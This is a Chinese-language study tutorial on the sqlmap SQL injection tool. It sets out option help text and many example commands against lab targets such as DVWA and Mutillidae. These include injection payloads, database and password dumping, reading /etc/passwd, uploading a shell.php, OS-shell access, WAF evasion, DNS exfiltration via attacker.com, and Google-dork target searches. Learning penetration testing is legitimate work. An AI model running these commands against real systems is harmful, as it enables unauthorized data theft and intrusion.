sqlmap
开源sql注入漏洞检测、利用工具
功能
五种漏洞检测技术
' and 1=1
' and (select * from (select(sleep(20)))a)--+
特性
安装
apt-get install sqlmap #安装
sqlmap -h / -hh #查看帮助
sqlmap --version / -v #查看版本
指令
At least one of these options has to be provided to define the
target(s)
-d DIRECT Connection string for direct database connection
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file
-x SITEMAPURL Parse target(s) from remote sitemap(.xml) file
-m BULKFILE Scan multiple targets given in a textual file
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target URLs
-c CONFIGFILE Load options from a configuration INI file
dvwa:192.168.1.116
# -p 指定想要检查的变量
# -f 指定查询系统指纹信息
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --users #针对用户列表查询
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --banner #针对版本信息查询
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --dbs #针对数据库信息查询(查询有哪些库)
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --schema #针对元数据进行查询
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username -a #查询所有的信息
#查询结果被放在 /root/.sqlmap/output/192.168.1.121
sqlmap -d "mysql://user:[email protected]:3306/dvwa" -f --users #直接连接数据库进行查询示例
url列表
vim list.txt
http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details
sqlmap -m list.txt
sqlmap -m list.txt --dbs
扫描 google 搜索结果(需要)
sqlmap -g "inurl:\".php?id=1\"" #\用来转义
使用http请求文件(burpsuite)
打开 http://192.168.1.116/mutillidae/
找到 sql 注入的第二个页面 http://192.168.1.116/mutillidae/index.php?page=login.php
提交表单时,数据内容不会出现在 url 地址中,判定为 post 方法
使用 burpsuite 的 proxy
burpsuite 捕获数据包头,复制并保存至 /root/post.txt
读取请求文件,查询数据库信息
sqlmap -r post.txt --dbs
打开 burpsuite 的 Project options 选项卡的 Misc
勾选 Logging 的 Proxy 的 Requests
选择日志保存路径,关闭截断代理,浏览器登录表单
浏览器重新提交请求
查看日志内容
使用 sqlmap 进行扫描
sqlmap -l log.txt
sqlmap -l log.txt -p username
结果显示有的 URL 含有注入漏洞
sqlmap -u "https://1.1.1.1/a.php?id=1:8843" --force-ssl
dpkg -L sqlmap | grep sqlmap.conf #默认配置文件放置位置
/etc/sqlmap/sqlmap.conf
/usr/share/doc/sqlmap/examples/sqlmap.conf.gz
sqlmap -c sqlmap.conf #扫描时指定配置文件
指令
Request:
These options can be used to specify how to connect to the target URL
--method=METHOD Force usage of given HTTP method (e.g. PUT)
--data=DATA Data string to be sent through POST
--param-del=PARA.. Character used for splitting parameter values
--cookie=COOKIE HTTP Cookie header value
--cookie-del=COO.. Character used for splitting cookie values
--load-cookies=L.. File containing cookies in Netscape/wget format
--drop-set-cookie Ignore Set-Cookie header from response
--user-agent=AGENT HTTP User-Agent header value
--random-agent Use randomly selected HTTP User-Agent header value
--host=HOST HTTP Host header value
--referer=REFERER HTTP Referer header value
-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred=AUTH.. HTTP authentication credentials (name:password)
--auth-file=AUTH.. HTTP authentication PEM cert/private key file
--ignore-code=IG.. Ignore HTTP error code (e.g. 401)
--ignore-proxy Ignore system default proxy settings
--ignore-redirects Ignore redirection attempts
--ignore-timeouts Ignore connection timeouts
--proxy=PROXY Use a proxy to connect to the target URL
--proxy-cred=PRO.. Proxy authentication credentials (name:password)
--proxy-file=PRO.. Load proxy list from a file
--tor Use Tor anonymity network
--tor-port=TORPORT Set Tor proxy port other than default
--tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
--check-tor Check to see if Tor is used properly
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--randomize=RPARAM Randomly change value for given parameter(s)
--safe-url=SAFEURL URL address to visit frequently during testing
--safe-post=SAFE.. POST data to send to a safe URL
--safe-req=SAFER.. Load safe HTTP request from a file
--safe-freq=SAFE.. Test requests between two visits to a given safe URL
--skip-urlencode Skip URL encoding of payload data
--csrf-token=CSR.. Parameter used to hold anti-CSRF token
--csrf-url=CSRFURL URL address to visit to extract anti-CSRF token
--force-ssl Force usage of SSL/HTTPS
--hpp Use HTTP parameter pollution method
--eval=EVALCODE Evaluate provided Python code before the request (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")
get / post 都适用
sqlmap -u "http:// 1.1.1.1/a.php" --data="user= 1&pass=2" -f
POET
# 在 Firebug 里提取数据段,这样 SQLMAP 会自动检测数据段每个变量是否存在注入漏洞
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=login.php" --data="username=1&password=1&login-php-submit-button=Login" --dbs
GET
# 将一个完整的URL拆开
sqlmap -u "http://192.168.1.116/mutillidae/index.php" --data="page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --users
# 将变量用分隔符进行分隔,先检查第一个,再检查第二个....
http:// 1.1.1.1/a.php?q=foo;id=1 // ; &
sqlmap -u "http://1.1.1.1/a.php " --data="q=foo;id=1" --param-del=";" -f
web应用需要基于cookie的身份认证
sqlmap 会自动检查cookie中的注入点(level>=2)
Set-Cookie / --drop-set-cookie / --cookie-del #不更新cookie,继续使用原本的cookie
sqlmap -u"http://1.1.1.1/a.php?id=1" -cookie="a= 1;b=2"-f
cookie可以在 Firebug 中查找,使用 DVWA
http:///192.168.1.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
sqlmap -u "http:///192.168.1.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --dbs
# 使检查 cookie 中的注入点(level>=2)
sqlmap -u "http:///192.168.1.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --level 2 --dbs
默认使用的 user-agent 是: sqlmap/ 1.0-dev-xxxxxx (http://sqlmap.org) #xxxx是版本号
sqlmap -u "http://192.168.1.116/dvwa/" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --dbs
想要使用随机 user-agnet (列表中随机抽取),可以使用 --random-agent
字典文件在:/usr/share/sqlmap/txt/user-agents.txt
sqlmap -u "http://192.168.1.116/dvwa/" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --random-agent --dbs
sqlmap -u "http://192.168.1.116/dvwa/" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --user-agent=AAAAAAAAAAAAAAA --dbs
sqlmap -u "http://192.168.1.116/dvwa/" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --user-agent=AAAAAAAAAAAAAAA --level 3 --dbs #sqlmap 检查 user-agent 中的注入点:level >= 3
指定 host 头
sqlmap -u "http://192.168.1.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --host="aaaaaaaaaa" --dbs
sqlmap -u "http://192.168.1.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --host="aaaaaaaaaa" --level 5 --users #使 sqlmap 检查 Host 是否存在注入点,level = 5
指定 Referer头
sqlmap -u "http://192.168.1.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --referer="aaaaaaaaaa" --users
sqlmap -u "http://192.168.1.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --referer="aaaaaaaaaa" --level 3 --users #使 sqlmap 检查 Referer头 是否存在注入点,level >= 3
#每个头单独一行(名称区分大小写)
sqlmap -u "http://1.1.1.1/a.php?id=1" --headers="host:www.a.com\nUser-Agent:yuanfh"
sqlmap -u "http://192.168.1.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --headers="Host:www.aaa.com\nUser-Agent:AAAAAAAAAA" -f
sqlmap 默认先尝试 GET 方法。一旦 GET 方法不行,再使用 POST 方法
可以指定请求方法
sqlmap -u "http://192.168.1.116/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --headers="Host:www.aaa.com\nUser-Agent:AAAAAAAAAA" --method=GET -f
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred=AUTH.. HTTP authentication credentials (name:password)
sqlmap -u "http://1.1.1.1/a.php?id=1" --auth-type=Basic --auth-cred="user:pass"
–proxy
--proxy=PROXY Use a proxy to connect to the target URL
--proxy-cred=PRO.. Proxy authentication credentials (name:password)
--proxy-file=PRO.. Load proxy list from a file
使用方法
--proxy="http://127.0.0.1:8087" #代理的IP和端口
--proxy-cred="name:pass" #代理的身份认证
--ignore-proxy #忽略系统级代理设置,通常用于扫描本地网络目标
sqlmap -u "http://1.1.1.1/a.php?id=1"--proxy="http://127.0.0.1:8087" -f
可以用搜索引擎:inurl:.php?id= 寻找sql注入练习目标
每次http(s)请求之间延迟时间,浮点数,单位为秒,默认无延迟
请求超时时间,浮点数,默认为30秒
http(s)连接超时重试次数,默认3次
长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名
sqlmap -u "http://1.1.1.1/a.php?id=111" --randomize="id" #让 id 在保持三位数的前提下,随机取之
过滤日志内容,通过正则表达式筛选扫描对象
sqlmap -l burp.log --scope="(www)\.target\.(com | net | org)"
sqlmap -l 2.log --scope="(19)?\.168\.20\.(1 | 10 | 100)" --level 3 --dbs
# 可发现 User-agent 中的注入点(需要 level>=3)
# log.txt 是浏览器使用 BurpSuite 的代理日志(在BurtSuite设置)
# level >=2 的时候,就会检查 cookie ,所以此时检查了cookie
检测和盲注阶段会产生大量失败请求,服务器端可能因此销毁session
每发送–safe-freq次注入请求后,发送一次正常请求
默认Get方法会对传输内容进行编码,某些WEB服务器不遵守RFC标准编码,使用原始字符提交数据
每次请求前执行指定的python代码
每次请求更改或增加新的参数值(时间依赖、其他参数值依赖)
在测试 id 值的注入漏洞时,服务器端需要验证是否匹配后面的 hash 值,此时就可以使用这个 --eval
sqlmap -u "http://1.1.1.1/a.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="importhashlib;hash=hashlib.md5(id).hexdigest()"
例子
root@kali: echo "[email protected]" | md5sum | cut -d ' ' -f1 #计算hash
6ab4eb10e3e68ff45f92de98bbdfee4b
得到url是http://1.1.1.1/[email protected]&hash=6ab4eb10e3e68ff45f92de98bbdfee4b
用–eval
sqlmap -u "http://1.1.1.1/[email protected]&hash=" --eval="importhashlib;hash=hashlib.md5(id).hexdigest()"
#修改id,会自动填入hash
优化
Optimization:
These options can be used to optimize the performance of sqlmap
-o Turn on all optimization switches
--predict-output Predict common queries output
--keep-alive Use persistent HTTP(s) connections
--null-connection Retrieve page length without actual HTTP response body
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率
对比内容:版本名、用户名、密码、Privileges、role、数据库名称、表名、列名
与 --threads 参数不兼容
统计表默认位置: /usr/share/sqlmap/txt/common-outputs.txt
使用 http(s) 长连接,性能好
与 --proxy 参数不兼容
长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源(节省网络开销,但是会占用服务器资源,防止重复建立连接时被服务器端检测发现)
只获取相应页面的大小值,而非页面具体内容
通常用于盲注判断真/假,降低网络带宽消耗
与 --text-only 参数不兼容(基于页面内容的比较判断真/假)
最大并发线程,默认是 1
盲注时每个线程获取一个字符(7次请求),获取完成后线程结束
每个连接的线程里都访问7次请求,7次请求(7位二进制位)就可以确定一个十进制值,每个线程只获取一个十进制数
默认值为1,建议不要超过1O,否则可能影响站点可用性(被服务器端检测到)
与 --predict-output 参数不兼容
注入
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--skip=SKIP Skip testing for given parameter(s)
--skip-static Skip testing parameters that not appear to be dynamic
--param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses")
--dbms=DBMS Force back-end DBMS to this value
--dbms-cred=DBMS.. DBMS authentication credentials (user:password)
--os=OS Force back-end DBMS operating system to this value
--invalid-bignum Use big numbers for invalidating values
--invalid-logical Use logical operations for invalidating values
--invalid-string Use random strings for invalidating values
--no-cast Turn off payload casting mechanism
--no-escape Turn off string escaping mechanism
--prefix=PREFIX Injection payload prefix string
--suffix=SUFFIX Injection payload suffix string
--tamper=TAMPER Use given script(s) for tampering injection data
指定扫描的参数,使–level失效
-p "user-agent,referer"
排除指定的扫描参数
--level=5 --skip="id,user-agent"
有形如目录的连接,sqlmap是无法自动识别的,可以手动在变量值后面加上一个*号
URL 和 URN 都属于 URI
sqlmap -u "http://targeturl/param1/value1*/param2/value2*/"
指定数据库类型,只用针对某种数据库的方法来进行扫描,也可以指定版本
--dbms="mysql"
MySQL <5.0>
Oracle <11i>
Microsoft SQL Server <2005>
PostgreSQL
Microsoft Access
SQLite
Firebird
sybase
sAP MaxDB
DB2
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --dbms="mysql"
指定系统
Linux
Windows
通常 sqlmap 使用负值使参数取值失效。 id=13,使其失效: id=-13
–invalid-bignum 使用大数使参数值失效。id=13,使其失效:id= 999999999
–invalid-logical 使用布尔判断取值使其失效id=13。id=13,使其失效:AND 18=19
–invalid-string 使用随机字符串使其失效。
榨取数据时,sqlmap 将所有结果转换为字符串,并用空格替换 NULL 结果
老版本 mysql 数据库需要开启此开关
出于混淆和避免出错的目的,在 payload 中用单引号界定字符串时,sqlmap 默认使用 char() 编码逃逸的方法替换字符串,躲避检查
SELECT ‘foo’ -> SELECT CHAR(102)+CHAR(111)+CHAR(111)
本参数将关闭此功能
有些情况下,需要添加 pyload 前缀和 pyload 后缀,才能注入成功
$query = "SELECT * FROM users WHERE id=() LIMIT O,1";
有些情况,在注入 ".$_GET[id']."
时,把前面的单引号闭合之后,同时把后面的注释之后,会出错,此时就需要添加前缀和后缀以保证后面部分的sql语句也能用
基于上述的举例,将<'".$_GET['id']."'>
进行替换:sqlmap -u "http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1" -p id –prefix=")" –suffix="AND ('abc'='abc"
拼合结果:$query = "SELECT * FROM users WHERE id=('1') AND ('abc'='abc') LIMIT O,1";
混淆脚本,用于绕过应用层过滤、IPS、WAF
绕过 WAF 的脚本:
dpkg -L sqlmap | grep tamper
针对不同的服务器,使用的脚本不一样
sqlmap -u "http://1.1.1.1/a.php?id=l" --tamper="between.py,randomcase.py,space2comment.py" -v 3
检查
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
--string=STRING String to match when query is evaluated to True
--not-string=NOT.. String to match when query is evaluated to False
--regexp=REGEXP Regexp to match when query is evaluated to True
--code=CODE HTTP code to match when query is evaluated to True
--text-only Compare pages based only on the textual content
--titles Compare pages based only on their titles
1-5级 (默认1)
payloads 文件:/usr/share/sqlmap/xml/payloads/
1-3(默认1/无害,值越高风险越大)
Risk升高可造成数据被篡改等风险(update)
页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑
但有些页面随时间阈值变化,此时需要人为指定标识真假的字符串
默认使用全部技术
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH SQL injection techniques to use (default "BEUSTQ")
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
--union-from=UFROM Table to use in FROM part of UNION query SQL injection
--dns-domain=DNS.. Domain name used for DNS exfiltration attack
--second-order=S.. Resulting page URL searched for second-order response
基于时间的注入检测相应延迟时间(默认5秒)
默认联合查询1-10列,随 --level 增加最多支持50列
--union-cols 6-9
联合查询默认使用 NULL, 极端情况下 NULL 可能失败,此时可以手动指定数值
--union-char 123
攻击者控制了某DNS服务器,使用此功能可以提高数据榨取的速度
--dns-domain attacker.com
在一个页面注入的结果,从另一个页面体现出来
--second-order http:// 1.1.1.1/b.php
枚举
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--hostname Retrieve DBMS server hostname
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
--roles Enumerate DBMS users roles
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--count Retrieve number of entries for table(s)
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
--search Search column(s), table(s) and/or database name(s)
--comments Retrieve DBMS comments
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
-X EXCLUDE DBMS database identifier(s) to not enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--pivot-column=P.. Pivot column name
--where=DUMPWHERE Use WHERE condition while table dumping
--start=LIMITSTART First dump table entry to retrieve
--stop=LIMITSTOP Last dump table entry to retrieve
--first=FIRSTCHAR First query output word character to retrieve
--last=LASTCHAR Last query output word character to retrieve
--sql-query=QUERY SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
--sql-file=SQLFILE Execute SQL statements from given file(s)
# 当前数据库管理系统的账号
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --current-user
# 当前数据库名称
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --current-db
# 只想看 user_id 第三条和第四条
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -D dvwa -T users --dump --start 3 --stop 4
# 全部,批处理
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -D dvwa -T users --dump-all --batch
暴力破解
Brute force:
These options can be used to run brute force checks
--common-tables Check existence of common tables
--common-columns Check existence of common columns
需要暴破数据库的情况:
暴力破解表
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --common-tables
暴力破解当前表的列,也可以手动指定
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -T accounts --common-columns
用户定义功能注入
User-defined function injection:
These options can be used to create custom user-defined functions
--udf-inject Inject custom user-defined functions
--shared-lib=SHLIB Local path of the shared library
见文档
https://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857
文件系统访问
File system access:
These options can be used to access the back-end database management
system underlying file system
--file-read=RFILE Read a file from the back-end DBMS file system
--file-write=WFILE Write a local file on the back-end DBMS file system
--file-dest=DFILE Back-end DBMS absolute filepath to write to
读取系统的文件,并写入sqlmap 文件
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --file-read="/etc/passwd"
写入文件,要求在路径下必须存在此文件,将这个文件写入到服务器
–file-dest
服务器放置文件的路径
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --file-write="/root/shell.php" --file-dest "/tmp/shell.php"
操作系统访问
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc Database process user privilege escalation
--msf-path=MSFPATH Local path where Metasploit Framework is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory
Mysql、postgresql:上传共享库并生成sys_exec()、sys_eval()两个UDF
Mssql:xp_cmdshell 存储过程(有就用、禁了启,没有建)
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --sql-shell
Windows 注册表访问
Windows registry access:
These options can be used to access the back-end database management
system Windows registry
--reg-read Read a Windows registry key value # 读注册表
--reg-add Write a Windows registry key value data # 添加新的注册表
--reg-del Delete a Windows registry key value # 删除注册表
--reg-key=REGKEY Windows registry key # 指定注册表的键
--reg-value=REGVAL Windows registry key value # 指定注册表的值
--reg-data=REGDATA Windows registry key value data # 指定注册表的数据
--reg-type=REGTYPE Windows registry key value type # 指定注册表的类型
要求执行数据库操作的用户拥有操作注册表的权限
sqlmap –u="http://1.1.1.1/a.aspx?id=1" --reg-add --regkey="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value="Test" --reg-type="REG_SZ" --reg-data="1"
一般操作
General:
These options can be used to set some general working parameters
-s SESSIONFILE Load session from a stored (.sqlite) file
-t TRAFFICFILE Log all HTTP traffic into a textual file
--batch Never ask for user input, use the default behavior
--binary-fields=.. Result fields having binary values (e.g. "digest")
--check-internet Check Internet connection before assessing the target
--crawl=CRAWLDEPTH Crawl the website starting from the target URL
--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout")
--csv-del=CSVDEL Delimiting character used in CSV output (default ",")
--charset=CHARSET Blind SQL injection charset (e.g. "0123456789abcdef")
--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)
--encoding=ENCOD.. Character encoding used for data retrieval (e.g. GBK)
--eta Display for each output the estimated time of arrival
--flush-session Flush session files for current target
--forms Parse and test forms on target URL
--fresh-queries Ignore query results stored in session file
--har=HARFILE Log all HTTP traffic into a HAR file
--hex Use DBMS hex function(s) for data retrieval
--output-dir=OUT.. Custom output directory path
--parse-errors Parse and display DBMS error messages from responses
--save=SAVECONFIG Save options to a configuration INI file
--scope=SCOPE Regexp to filter targets from provided proxy log
--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)
--test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK)
--update Update sqlmap
指定sqlite会话文件保存位置
默认 sqlmap 查询的信息都保存在 .sqlmap/output/10.10.10.132/ 下
指定记录流量文件保存位置
强制字符编码
--charset=GBK
从起始位置爬站深度
--batch --crawl=3
指定其他分隔符, dump数据默认存于“,”分割的CSV文件中
--csv-del=";"
清空会话,即清空本地查询的保存结果
指定使用 ssl 加密
忽略 session 文件内的查询结果
dump非ASCI字符内容时,将其编码为16进制形式,收到后解码还原
sqlmap -u "http://1.1.1.1/s.php?id=1" --hex -v 3
指定输出目录(默认optput)
--output-dir=/tmp
分析和现实数据库内建报错信息
sqlmap.py -u "http://1.1.1.1/sqlmap/a.asp?id=" --parse-errors
将命令保存成配置文件
sqlmap -u "http://192.168.1.116/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -D dvwa -T users --dump-all --exclude-sysdbs --batch --csv-del=";" --fresh-queries --save /root/111.txt
杂项
Miscellaneous:
-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
--alert=ALERT Run host OS command(s) when SQL injection is found
--answers=ANSWERS Set question answers (e.g. "quit=N,follow=N")
--beep Beep on question and/or when SQL injection is found
--cleanup Clean up the DBMS from sqlmap specific UDF and tables
--dependencies Check for missing (non-core) sqlmap dependencies
--disable-coloring Disable console output coloring
--gpage=GOOGLEPAGE Use Google dork results from specified page number
--identify-waf Make a thorough testing for a WAF/IPS/IDS protection
--mobile Imitate smartphone through HTTP User-Agent header
--offline Work in offline mode (only use session data)
--purge-output Safely remove all content from output directory
--skip-waf Skip heuristic detection of WAF/IPS/IDS protection
--smart Conduct thorough tests only if positive heuristic(s)
--sqlmap-shell Prompt for an interactive sqlmap shell
--tmp-dir=TMPDIR Local directory for storing temporary files
--web-root=WEBROOT Web server document root directory (e.g. "/var/www")
--wizard Simple wizard interface for beginner users
sqlmap --batch --random-agent --ignore-proxy-technique=BEU -U "1.1.1.1/a.php?id=1"
#支持简写
sqlmap -z "bat,randoma,ign,tec=BEU" -u " 1.1.1.1/a.php?id=1"
指定问题的回答
sqlmap -u "http://1.1.1.1/a.php?id=l" --technique=E --answers="extending=N" --batch
对一个waf/ip/ids保护进行彻底的测试
跳过对waf/ip/ids保护的启发式检测
绕过WAF/IPS/IDS的有效方法
尤其对 ASP/IIS 和 ASP.NET/IIS
在脱机模式下工作(只使用会话数据)
通过HTTP用户代理头模拟智能手机
检查缺失的(非核心)sqlmap依赖项
只有当积极的启发式扫描时才进行全面的测试
先检查简单的,结果正确,再进一步检测
Web服务器文档根目录
为初学者用户提供简单的向导界面
安全地从输出目录中删除所有内容, 清除output文件夹
sqlmap是个非常强大的sql自动注入工具
笔者学了两天把所有指令基本过了一遍
当然
自动的还是不如手动的
实践中要注意